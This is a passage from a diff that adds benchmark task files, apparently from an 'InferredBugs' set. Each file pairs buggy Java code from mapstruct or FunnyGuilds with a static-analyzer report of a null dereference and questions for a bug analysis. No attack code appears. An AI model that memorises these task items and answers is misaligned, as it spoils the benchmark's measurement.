+			mappings.putAll( getMappings( mappingsAnnotation ) );
+		}
+
+		return getMappedProperties( method, mappings );
+	}
+
+	private List<MappedProperty> getMappedProperties(ExecutableElement method, Map<String, Mapping> mappings) {
+		Element returnTypeElement = typeUtils.asElement( method.getReturnType() );
+		Element parameterElement = typeUtils.asElement( method.getParameters().get( 0 ).asType() );
+
+		List<MappedProperty> properties = new ArrayList<MappedProperty>();
+
+		for ( ExecutableElement getterMethod : getterMethodsIn( parameterElement.getEnclosedElements() ) ) {
+
+			String sourcePropertyName = getPropertyName( getterMethod );
+			Mapping mapping = mappings.get( sourcePropertyName );
+
+			for ( ExecutableElement setterMethod : setterMethodsIn( returnTypeElement.getEnclosedElements() ) ) {
+
+				String targetPropertyName = getPropertyName( setterMethod );
+
+				if ( targetPropertyName.equals( mapping != null ? mapping.getTargetName() : sourcePropertyName ) ) {
+					properties.add(
+							new MappedProperty(
+									sourcePropertyName,
+									retrieveReturnType( getterMethod ),
+									mapping != null ? mapping.getTargetName() : targetPropertyName,
+									retrieveParameter( setterMethod ).getType(),
+									mapping != null ? mapping.getConverterType() : null
+							)
+					);
+				}
+			}
+		}
+
+		return properties;
+	}
+
+	private String getPropertyName(ExecutableElement getterOrSetterMethod) {
+		//TODO consider is/has
+		return Introspector.decapitalize(
+				getterOrSetterMethod.getSimpleName().toString().substring( 3 )
+		);
+	}
+
+	private Map<String, Mapping> getMappings(MappingsPrism mappingsAnnotation) {
+		Map<String, Mapping> mappings = new HashMap<String, Mapping>();
+
+		for ( MappingPrism mapping : mappingsAnnotation.value() ) {
+			mappings.put( mapping.source(), getMapping( mapping ) );
+		}
+
+		return mappings;
+	}
+
+	private Mapping getMapping(MappingPrism mapping) {
+		Type converterType = typeUtil.retrieveType( mapping.converter() );
+		return new Mapping(
+				mapping.source(),
+				mapping.target(),
+				converterType.getName().equals( "NoOpConverter" ) ? null : converterType
+		);
+	}
+
+	private Parameter retrieveParameter(ExecutableElement method) {
+		List<? extends VariableElement> parameters = method.getParameters();
+
+		if ( parameters.size() != 1 ) {
+			//TODO: Log error
+			return null;
+		}
+
+		VariableElement parameter = parameters.get( 0 );
+
+		return new Parameter(
+				parameter.getSimpleName().toString(),
+				typeUtil.retrieveType( parameter.asType() )
+		);
+	}
+
+	private Type retrieveReturnType(ExecutableElement method) {
+		return typeUtil.retrieveType( method.getReturnType() );
+	}
+
+	private List<ExecutableElement> getterMethodsIn(Iterable<? extends Element> elements) {
+		List<ExecutableElement> getterMethods = new LinkedList<ExecutableElement>();
+
+		for ( ExecutableElement method : methodsIn( elements ) ) {
+			//TODO: consider is/has
+			String name = method.getSimpleName().toString();
+
+			if ( name.startsWith( "get" ) && name.length() > 3 && method.getParameters()
+					.isEmpty() && method.getReturnType().getKind() != TypeKind.VOID ) {
+				getterMethods.add( method );
+			}
+		}
+
+		return getterMethods;
+	}
+
+	private List<ExecutableElement> setterMethodsIn(Iterable<? extends Element> elements) {
+		List<ExecutableElement> setterMethods = new LinkedList<ExecutableElement>();
+
+		for ( ExecutableElement method : methodsIn( elements ) ) {
+			//TODO: consider is/has
+			String name = method.getSimpleName().toString();
+
+			if ( name.startsWith( "set" ) && name.length() > 3 && method.getParameters()
+					.size() == 1 && method.getReturnType().getKind() == TypeKind.VOID ) {
+				setterMethods.add( method );
+			}
+		}
+
+		return setterMethods;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `converterType` last assigned on line 323 could be null and is dereferenced at line 327.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Mapping MapperGenerationVisitor.getMapping(MappingPrism)
+
+### Procedure Id:
+org.mapstruct.ap.MapperGenerationVisitor.getMapping(org.mapstruct.ap.MappingPrism):org.mapstruct.ap..93b20bd0e3e6a1b9ae36dd778a8da178
+
+### File:
+processor/src/main/java/org/mapstruct/ap/MapperGenerationVisitor.java
+
+### Key:
+MapperGenerationVisitor.java|getMapping|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+42bae2c565ab1210bb5767ac3927bc6b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4554/instruction.md b/inferredbugs-4554/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d0dcd6b56bded2783d7b89d12b9606fd4e5d80a3
--- /dev/null
+++ b/inferredbugs-4554/instruction.md
@@ -0,0 +1,279 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mapstruct
+**Bug ID:** 12
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ *  Copyright 2012-2013 Gunnar Morling (http://www.gunnarmorling.de/)
+ *  and/or other contributors as indicated by the @authors tag. See the
+ *  copyright.txt file in the distribution for a full listing of all
+ *  contributors.
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package org.mapstruct.ap.model.source;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import javax.lang.model.element.ExecutableElement;
+
+import org.mapstruct.ap.model.Type;
+
+/**
+ * Represents a mapping method with source and target type and the mappings
+ * between the properties of source and target type.
+ *
+ * @author Gunnar Morling
+ */
+public class Method {
+
+    private final Type declaringMapper;
+    private final ExecutableElement executable;
+    private final List<Parameter> parameters;
+    private final List<Parameter> sourceParameters;
+    private final String resultName;
+    private final Type resultType;
+    private final Type returnType;
+    private Map<String, Mapping> mappings;
+    private IterableMapping iterableMapping;
+    private MapMapping mapMapping;
+
+    public static Method forMethodRequiringImplementation(ExecutableElement executable, List<Parameter> parameters,
+                                                          List<Parameter> sourceParameters, Type resultType,
+                                                          String resultName, Type targetType,
+                                                          Map<String, Mapping> mappings,
+                                                          IterableMapping iterableMapping, MapMapping mapMapping) {
+
+        return new Method(
+            null,
+            executable,
+            parameters,
+            sourceParameters,
+            resultType,
+            resultName,
+            targetType,
+            mappings,
+            iterableMapping,
+            mapMapping
+        );
+    }
+
+    public static Method forReferencedMethod(Type declaringMapper, ExecutableElement executable, String parameterName,
+                                             Type sourceType, Type targetType) {
+
+        return new Method(
+            declaringMapper,
+            executable,
+            Arrays.asList( new Parameter( parameterName, sourceType ) ),
+            Arrays.asList( new Parameter( parameterName, sourceType ) ),
+            targetType,
+            null,
+            targetType,
+            Collections.<String, Mapping>emptyMap(),
+            null,
+            null
+        );
+    }
+
+    private Method(Type declaringMapper, ExecutableElement executable, List<Parameter> parameters,
+                   List<Parameter> sourceParameters, Type resultType, String resultName,
+                   Type returnType,
+                   Map<String, Mapping> mappings, IterableMapping iterableMapping,
+                   MapMapping mapMapping) {
+        this.declaringMapper = declaringMapper;
+        this.executable = executable;
+        this.parameters = parameters;
+        this.sourceParameters = sourceParameters;
+        this.resultType = resultType;
+        this.resultName = resultName;
+        this.returnType = returnType;
+        this.mappings = mappings;
+        this.iterableMapping = iterableMapping;
+        this.mapMapping = mapMapping;
+    }
+
+    /**
+     * Returns the mapper type declaring this method if it is not declared by
+     * the mapper interface currently processed but by another mapper imported
+     * via {@code Mapper#users()}.
+     *
+     * @return The declaring mapper type
+     */
+    public Type getDeclaringMapper() {
+        return declaringMapper;
+    }
+
+    public ExecutableElement getExecutable() {
+        return executable;
+    }
+
+    public String getName() {
+        return executable.getSimpleName().toString();
+    }
+
+    public List<Parameter> getParameters() {
+        return parameters;
+    }
+
+    public String getResultName() {
+        return resultName;
+    }
+
+    public List<Parameter> getSourceParameters() {
+        return sourceParameters;
+    }
+
+    public Type getResultType() {
+        return resultType;
+    }
+
+    public Type getReturnType() {
+        return returnType;
+    }
+
+    public Map<String, Mapping> getMappings() {
+        return mappings;
+    }
+
+    public void setMappings(Map<String, Mapping> mappings) {
+        this.mappings = mappings;
+    }
+
+    public IterableMapping getIterableMapping() {
+        return iterableMapping;
+    }
+
+    public void setIterableMapping(IterableMapping iterableMapping) {
+        this.iterableMapping = iterableMapping;
+    }
+
+    public MapMapping getMapMapping() {
+        return mapMapping;
+    }
+
+    public void setMapMapping(MapMapping mapMapping) {
+        this.mapMapping = mapMapping;
+    }
+
+    public boolean reverses(Method method) {
+        return
+            equals( getSingleSourceType(), method.getReturnType() )
+                && equals( returnType, method.getSingleSourceType() );
+    }
+
+    public Type getSingleSourceType() {
+        return sourceParameters.size() == 1 ? sourceParameters.get( 0 ).getType() : null;
+    }
+
+    public boolean isIterableMapping() {
+        return getSingleSourceType().isIterableType() && resultType.isIterableType();
+    }
+
+    public boolean isMapMapping() {
+        return getSingleSourceType().isMapType() && resultType.isMapType();
+    }
+
+    private boolean equals(Object o1, Object o2) {
+        return ( o1 == null && o2 == null ) || ( o1 != null ) && o1.equals( o2 );
+    }
+
+    @Override
+    public String toString() {
+        return returnType + " " + getName() + "(" + getParamsList() + ")";
+    }
+
+    private String getParamsList() {
+        StringBuilder sb = new StringBuilder();
+        for ( Iterator<Parameter> it = parameters.iterator(); it.hasNext(); ) {
+            Parameter param = it.next();
+            sb.append( param.getType() ).append( " " ).append( param.getName() );
+            if ( it.hasNext() ) {
+                sb.append( ", " );
+            }
+        }
+
+        return sb.toString();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getSingleSourceType()` could be null and is dereferenced at line 177.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean Method.isIterableMapping()
+
+### Procedure Id:
+org.mapstruct.ap.model.source.Method.isIterableMapping():boolean.16d40d1a4f8f399a99bae60c4b2ab635
+
+### File:
+processor/src/main/java/org/mapstruct/ap/model/source/Method.java
+
+### Key:
+Method.java|isIterableMapping|NULL_DEREFERENCE
+
+### Node Key:
+18086a76ec6f499138a84f176568ec09
+
+### Hash:
+0dcb4e3c499b6b28330da59a055e662b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4555/instruction.md b/inferredbugs-4555/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5f2413a7812a77e815feeb9fa8ad596aefe22c3e
--- /dev/null
+++ b/inferredbugs-4555/instruction.md
@@ -0,0 +1,583 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mapstruct
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ *  Copyright 2012-2013 Gunnar Morling (http://www.gunnarmorling.de/)
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+package org.mapstruct.ap;
+
+import java.beans.Introspector;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.processing.ProcessingEnvironment;
+import javax.lang.model.element.AnnotationMirror;
+import javax.lang.model.element.AnnotationValue;
+import javax.lang.model.element.Element;
+import javax.lang.model.element.ExecutableElement;
+import javax.lang.model.element.TypeElement;
+import javax.lang.model.element.VariableElement;
+import javax.lang.model.type.DeclaredType;
+import javax.lang.model.type.TypeKind;
+import javax.lang.model.type.TypeMirror;
+import javax.lang.model.util.ElementKindVisitor6;
+import javax.lang.model.util.Elements;
+import javax.lang.model.util.SimpleAnnotationValueVisitor6;
+import javax.lang.model.util.Types;
+import javax.tools.JavaFileObject;
+
+import org.mapstruct.ap.conversion.Conversion;
+import org.mapstruct.ap.conversion.Conversions;
+import org.mapstruct.ap.model.BeanMapping;
+import org.mapstruct.ap.model.Mapper;
+import org.mapstruct.ap.model.MappingMethod;
+import org.mapstruct.ap.model.PropertyMapping;
+import org.mapstruct.ap.model.Type;
+import org.mapstruct.ap.model.source.MappedProperty;
+import org.mapstruct.ap.model.source.Mapping;
+import org.mapstruct.ap.model.source.Method;
+import org.mapstruct.ap.model.source.Parameter;
+import org.mapstruct.ap.writer.ModelWriter;
+
+import static javax.lang.model.util.ElementFilter.methodsIn;
+
+public class MapperGenerationVisitor extends ElementKindVisitor6<Void, Void> {
+
+	private final static String IMPLEMENTATION_SUFFIX = "Impl";
+
+	private final static String MAPPING_ANNOTATION = "org.mapstruct.Mapping";
+	private final static String MAPPINGS_ANNOTATION = "org.mapstruct.Mappings";
+
+	private final ProcessingEnvironment processingEnvironment;
+	private final Types typeUtils;
+	private final Elements elementUtils;
+
+	public MapperGenerationVisitor(ProcessingEnvironment processingEnvironment) {
+		this.processingEnvironment = processingEnvironment;
+		this.typeUtils = processingEnvironment.getTypeUtils();
+		this.elementUtils = processingEnvironment.getElementUtils();
+	}
+
+	@Override
+	public Void visitTypeAsInterface(TypeElement element, Void p) {
+		Mapper model = retrieveModel( element );
+		String sourceFileName = element.getQualifiedName() + IMPLEMENTATION_SUFFIX;
+
+		writeModelToSourceFile( sourceFileName, model );
+
+		return null;
+	}
+
+	private void writeModelToSourceFile(String fileName, Mapper model) {
+		JavaFileObject sourceFile;
+		try {
+			sourceFile = processingEnvironment.getFiler().createSourceFile( fileName );
+		}
+		catch ( IOException e ) {
+			throw new RuntimeException( e );
+		}
+
+		ModelWriter modelWriter = new ModelWriter( "mapper-implementation.ftl" );
+		modelWriter.writeModel( sourceFile, model );
+	}
+
+	private Mapper retrieveModel(TypeElement element) {
+		List<Method> methods = retrieveMethods( element );
+		Set<Method> processedMethods = new HashSet<Method>();
+		List<BeanMapping> mappings = new ArrayList<BeanMapping>();
+
+		for ( Method method : methods ) {
+			if ( processedMethods.contains( method ) ) {
+				continue;
+			}
+
+			MappingMethod mappingMethod = new MappingMethod(
+					method.getName(),
+					method.getParameterName(),
+					getElementMappingMethod( methods, method )
+			);
+
+			MappingMethod reverseMappingMethod = null;
+			Method rawReverseMappingMethod = getReverseMappingMethod( methods, method );
+			if ( rawReverseMappingMethod != null ) {
+				processedMethods.add( rawReverseMappingMethod );
+//	            MappingMethod reverseElementMappingMethod = rawReverseElementMappingMethod == null ? null : new MappingMethod(rawReverseElementMappingMethod.getName(), rawReverseElementMappingMethod.getParameterName() );
+
+				reverseMappingMethod = new MappingMethod(
+						rawReverseMappingMethod.getName(),
+						rawReverseMappingMethod.getParameterName(),
+						getElementMappingMethod( methods, rawReverseMappingMethod )
+				);
+			}
+
+
+			List<PropertyMapping> propertyMappings = new ArrayList<PropertyMapping>();
+
+			for ( MappedProperty property : method.getMappedProperties() ) {
+				Method propertyMappingMethod = getPropertyMappingMethod( methods, property );
+				Method reversePropertyMappingMethod = getReversePropertyMappingMethod( methods, property );
+
+				Conversion conversion = Conversions.getConversion( property.getSourceType(), property.getTargetType() );
+
+				propertyMappings.add(
+						new PropertyMapping(
+								property.getSourceName(),
+								property.getSourceType(),
+								property.getTargetName(),
+								property.getTargetType(),
+								property.getConverterType(),
+								propertyMappingMethod != null ? new MappingMethod(
+										propertyMappingMethod.getName(),
+										propertyMappingMethod.getParameterName()
+								) : null,
+								reversePropertyMappingMethod != null ? new MappingMethod(
+										reversePropertyMappingMethod.getName(),
+										reversePropertyMappingMethod.getParameterName()
+								) : null,
+								conversion != null ? conversion.to(
+										mappingMethod.getParameterName() + "." + getAccessor(
+												property.getSourceName()
+										)
+								) : null,
+								conversion != null ? conversion.from(
+										reverseMappingMethod.getParameterName() + "." + getAccessor(
+												property.getTargetName()
+										)
+								) : null
+						)
+				);
+			}
+			BeanMapping mapping = new BeanMapping(
+					method.getSourceType(),
+					method.getTargetType(),
+					propertyMappings,
+					mappingMethod,
+					reverseMappingMethod
+			);
+
+			mappings.add( mapping );
+		}
+
+		Mapper mapper = new Mapper(
+				elementUtils.getPackageOf( element ).getQualifiedName().toString(),
+				element.getSimpleName().toString(),
+				element.getSimpleName() + IMPLEMENTATION_SUFFIX,
+				mappings
+		);
+
+		return mapper;
+	}
+
+	private String getAccessor(String name) {
+		return "get" + capitalize( name ) + "()";
+	}
+
+	private String capitalize(String name) {
+		return name.substring( 0, 1 ).toUpperCase() + name.substring( 1 );
+	}
+
+	private MappingMethod getElementMappingMethod(Iterable<Method> methods, Method method) {
+		Method elementMappingMethod = null;
+		for ( Method oneMethod : methods ) {
+			if ( oneMethod.getSourceType().equals( method.getSourceType().getElementType() ) ) {
+				elementMappingMethod = oneMethod;
+				break;
+			}
+		}
+		return elementMappingMethod == null ? null : new MappingMethod(
+				elementMappingMethod.getName(),
+				elementMappingMethod.getParameterName()
+		);
+	}
+
+	private Method getPropertyMappingMethod(Iterable<Method> rawMethods, MappedProperty property) {
+		for ( Method oneMethod : rawMethods ) {
+			if ( oneMethod.getSourceType().equals( property.getSourceType() ) && oneMethod.getTargetType()
+					.equals( property.getTargetType() ) ) {
+				return oneMethod;
+			}
+		}
+		return null;
+	}
+
+	private Method getReversePropertyMappingMethod(Iterable<Method> methods, MappedProperty property) {
+		for ( Method method : methods ) {
+			if ( method.getSourceType().equals( property.getTargetType() ) && method.getTargetType()
+					.equals( property.getSourceType() ) ) {
+				return method;
+			}
+		}
+		return null;
+	}
+
+	private Method getReverseMappingMethod(List<Method> rawMethods,
+										   Method method) {
+		for ( Method oneMethod : rawMethods ) {
+			if ( oneMethod.reverses( method ) ) {
+				return oneMethod;
+			}
+		}
+		return null;
+	}
+
+	private List<Method> retrieveMethods(TypeElement element) {
+		List<Method> methods = new ArrayList<Method>();
+
+		for ( ExecutableElement method : methodsIn( element.getEnclosedElements() ) ) {
+			Parameter parameter = retrieveParameter( method );
+			Type returnType = retrieveReturnType( method );
+			List<MappedProperty> properties = retrieveMappedProperties( method );
+
+			methods.add(
+					new Method(
+							method.getSimpleName().toString(),
+							parameter.getName(),
+							parameter.getType(),
+							returnType,
+							properties
+					)
+			);
+		}
+
+		return methods;
+	}
+
+	private List<MappedProperty> retrieveMappedProperties(ExecutableElement method) {
+
+		Map<String, Mapping> mappings = new HashMap<String, Mapping>();
+
+		for ( AnnotationMirror annotationMirror : method.getAnnotationMirrors() ) {
+
+			String annotationName = annotationMirror.getAnnotationType()
+					.asElement()
+					.accept( new NameDeterminationVisitor(), null );
+
+			if ( MAPPING_ANNOTATION.equals( annotationName ) ) {
+				Mapping mapping = getMapping( annotationMirror );
+				mappings.put( mapping.getSourceName(), mapping );
+			}
+			else if ( MAPPINGS_ANNOTATION.equals( annotationName ) ) {
+				mappings.putAll( getMappings( annotationMirror ) );
+			}
+		}
+
+		return getMappedProperties( method, mappings );
+	}
+
+	private List<MappedProperty> getMappedProperties(ExecutableElement method, Map<String, Mapping> mappings) {
+		Element returnTypeElement = typeUtils.asElement( method.getReturnType() );
+		Element parameterElement = typeUtils.asElement( method.getParameters().get( 0 ).asType() );
+
+		List<MappedProperty> properties = new ArrayList<MappedProperty>();
+
+		for ( ExecutableElement getterMethod : getterMethodsIn( parameterElement.getEnclosedElements() ) ) {
+
+			String sourcePropertyName = Introspector.decapitalize(
+					getterMethod.getSimpleName()
+							.toString()
+							.substring( 3 )
+			);
+			Mapping mapping = mappings.get( sourcePropertyName );
+
+			for ( ExecutableElement setterMethod : setterMethodsIn( returnTypeElement.getEnclosedElements() ) ) {
+
+				String targetPropertyName = Introspector.decapitalize(
+						setterMethod.getSimpleName()
+								.toString()
+								.substring( 3 )
+				);
+
+				if ( targetPropertyName.equals( mapping != null ? mapping.getTargetName() : sourcePropertyName ) ) {
+					properties.add(
+							new MappedProperty(
+									sourcePropertyName,
+									retrieveReturnType( getterMethod ),
+									mapping != null ? mapping.getTargetName() : targetPropertyName,
+									retrieveParameter( setterMethod ).getType(),
+									mapping != null ? mapping.getConverterType() : null
+							)
+					);
+				}
+			}
+		}
+
+		return properties;
+	}
+
+	private Map<String, Mapping> getMappings(AnnotationMirror annotationMirror) {
+		Map<String, Mapping> mappings = new HashMap<String, Mapping>();
+
+		List<? extends AnnotationValue> values = getAnnotationValueListValue( annotationMirror, "value" );
+
+		for ( AnnotationValue oneAnnotationValue : values ) {
+			AnnotationMirror oneAnnotation = oneAnnotationValue.accept(
+					new AnnotationRetrievingVisitor(),
+					null
+			);
+			Mapping mapping = getMapping( oneAnnotation );
+			mappings.put( mapping.getSourceName(), mapping );
+		}
+
+		return mappings;
+	}
+
+	private Mapping getMapping(AnnotationMirror annotationMirror) {
+		String sourcePropertyName = getStringValue( annotationMirror, "source" );
+		String targetPropertyName = getStringValue( annotationMirror, "target" );
+		TypeMirror converterTypeMirror = getTypeMirrorValue( annotationMirror, "converter" );
+
+		Type converterType = null;
+
+		if ( converterTypeMirror != null ) {
+			converterType = getType( (DeclaredType) converterTypeMirror );
+		}
+
+		return new Mapping( sourcePropertyName, targetPropertyName, converterType );
+	}
+
+	private Type getType(DeclaredType type) {
+		Type elementType = null;
+		if ( !type.getTypeArguments().isEmpty() ) {
+			elementType = retrieveType( type.getTypeArguments().iterator().next() );
+		}
+
+		return new Type(
+				elementUtils.getPackageOf( type.asElement() ).toString(),
+				type.asElement().getSimpleName().toString(),
+				elementType
+		);
+	}
+
+	private Parameter retrieveParameter(ExecutableElement method) {
+		List<? extends VariableElement> parameters = method.getParameters();
+
+		if ( parameters.size() != 1 ) {
+			//TODO: Log error
+			return null;
+		}
+
+		VariableElement parameter = parameters.get( 0 );
+
+		return new Parameter(
+				parameter.getSimpleName().toString(),
+				retrieveType( parameter.asType() )
+		);
+	}
+
+	private Type retrieveReturnType(ExecutableElement method) {
+
+		return retrieveType( method.getReturnType() );
+	}
+
+	private Type retrieveType(TypeMirror mirror) {
+		if ( mirror.getKind() == TypeKind.DECLARED ) {
+			return getType( ( (DeclaredType) mirror ) );
+		}
+		else {
+			return new Type( null, mirror.toString() );
+		}
+	}
+
+	private String getStringValue(AnnotationMirror annotationMirror, String attributeName) {
+
+		for ( Entry<? extends ExecutableElement, ? extends AnnotationValue> oneAttribute : annotationMirror.getElementValues()
+				.entrySet() ) {
+
+			if ( oneAttribute.getKey().getSimpleName().contentEquals( attributeName ) ) {
+				return oneAttribute.getValue().accept( new StringValueRetrievingVisitor(), null );
+			}
+		}
+
+		return null;
+	}
+
+	private TypeMirror getTypeMirrorValue(AnnotationMirror annotationMirror, String attributeName) {
+
+		for ( Entry<? extends ExecutableElement, ? extends AnnotationValue> oneAttribute : annotationMirror.getElementValues()
+				.entrySet() ) {
+
+			if ( oneAttribute.getKey().getSimpleName().contentEquals( attributeName ) ) {
+				return oneAttribute.getValue().accept( new TypeRetrievingVisitor(), null );
+			}
+		}
+
+		return null;
+	}
+
+	private List<? extends AnnotationValue> getAnnotationValueListValue(AnnotationMirror annotationMirror, String attributeName) {
+
+		for ( Entry<? extends ExecutableElement, ? extends AnnotationValue> oneAttribute : annotationMirror.getElementValues()
+				.entrySet() ) {
+
+			if ( oneAttribute.getKey().getSimpleName().contentEquals( "value" ) ) {
+				return oneAttribute.getValue().accept( new AnnotationValueListRetrievingVisitor(), null );
+			}
+		}
+
+		return null;
+	}
+
+	private List<ExecutableElement> getterMethodsIn(Iterable<? extends Element> elements) {
+		List<ExecutableElement> getterMethods = new LinkedList<ExecutableElement>();
+
+		for ( ExecutableElement method : methodsIn( elements ) ) {
+			//TODO: consider is/has
+			String name = method.getSimpleName().toString();
+
+			if ( name.startsWith( "get" ) && name.length() > 3 && method.getParameters()
+					.isEmpty() && method.getReturnType().getKind() != TypeKind.VOID ) {
+				getterMethods.add( method );
+			}
+		}
+
+		return getterMethods;
+	}
+
+	private List<ExecutableElement> setterMethodsIn(Iterable<? extends Element> elements) {
+		List<ExecutableElement> setterMethods = new LinkedList<ExecutableElement>();
+
+		for ( ExecutableElement method : methodsIn( elements ) ) {
+			//TODO: consider is/has
+			String name = method.getSimpleName().toString();
+
+			if ( name.startsWith( "set" ) && name.length() > 3 && method.getParameters()
+					.size() == 1 && method.getReturnType().getKind() == TypeKind.VOID ) {
+				setterMethods.add( method );
+			}
+		}
+
+		return setterMethods;
+	}
+
+
+	private static class NameDeterminationVisitor extends ElementKindVisitor6<String, Void> {
+
+		@Override
+		public String visitType(TypeElement element, Void p) {
+			return element.getQualifiedName().toString();
+		}
+	}
+
+	private static class StringValueRetrievingVisitor extends SimpleAnnotationValueVisitor6<String, Void> {
+
+		@Override
+		public String visitString(String value, Void p) {
+			return value;
+		}
+	}
+
+	private static class TypeRetrievingVisitor
+			extends SimpleAnnotationValueVisitor6<TypeMirror, Void> {
+
+		@Override
+		public TypeMirror visitType(TypeMirror value, Void p) {
+			return value;
+		}
+	}
+
+	private static class AnnotationValueListRetrievingVisitor
+			extends SimpleAnnotationValueVisitor6<List<? extends AnnotationValue>, Void> {
+
+		@Override
+		public List<? extends AnnotationValue> visitArray(List<? extends AnnotationValue> value, Void p) {
+			return value;
+		}
+	}
+
+	private static class AnnotationRetrievingVisitor extends SimpleAnnotationValueVisitor6<AnnotationMirror, Void> {
+
+		@Override
+		public AnnotationMirror visitAnnotation(AnnotationMirror value, Void p) {
+			return value;
+		}
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `retrieveParameter(this,setterMethod)` could be null and is dereferenced at line 311.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+List MapperGenerationVisitor.getMappedProperties(ExecutableElement,Map)
+
+### Procedure Id:
+org.mapstruct.ap.MapperGenerationVisitor.getMappedProperties(javax.lang.model.element.ExecutableElem.49646e974612d07891d63d0d43e37f13
+
+### File:
+processor/src/main/java/org/mapstruct/ap/MapperGenerationVisitor.java
+
+### Key:
+MapperGenerationVisitor.java|getMappedProperties|NULL_DEREFERENCE
+
+### Node Key:
+d46e1684de2ca326ba231ad8a5b48143
+
+### Hash:
+675bb6513fd3948ce791e06e3baa5d0f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4562/instruction.md b/inferredbugs-4562/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..568de7eba31aa33900177ad5b1eb6d49c7a5b9e4
--- /dev/null
+++ b/inferredbugs-4562/instruction.md
@@ -0,0 +1,130 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** FunnyGuilds
+**Bug ID:** 32
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.dzikoysk.funnyguilds.command.admin;
+
+import java.util.Date;
+
+import org.bukkit.command.CommandSender;
+
+import net.dzikoysk.funnyguilds.basic.Guild;
+import net.dzikoysk.funnyguilds.basic.util.GuildUtils;
+import net.dzikoysk.funnyguilds.command.util.Executor;
+import net.dzikoysk.funnyguilds.data.Messages;
+import net.dzikoysk.funnyguilds.data.Settings;
+import net.dzikoysk.funnyguilds.data.configs.MessagesConfig;
+import net.dzikoysk.funnyguilds.util.Parser;
+
+public class AxcValidity implements Executor {
+
+    @Override
+    public void execute(CommandSender sender, String[] args) {
+        MessagesConfig messages = Messages.getInstance();
+
+        if (args.length < 1) {
+            sender.sendMessage(messages.generalNoTagGiven);
+            return;
+        } else if (args.length < 2) {
+            sender.sendMessage(messages.adminNoValidityTimeGiven);
+            return;
+        }
+
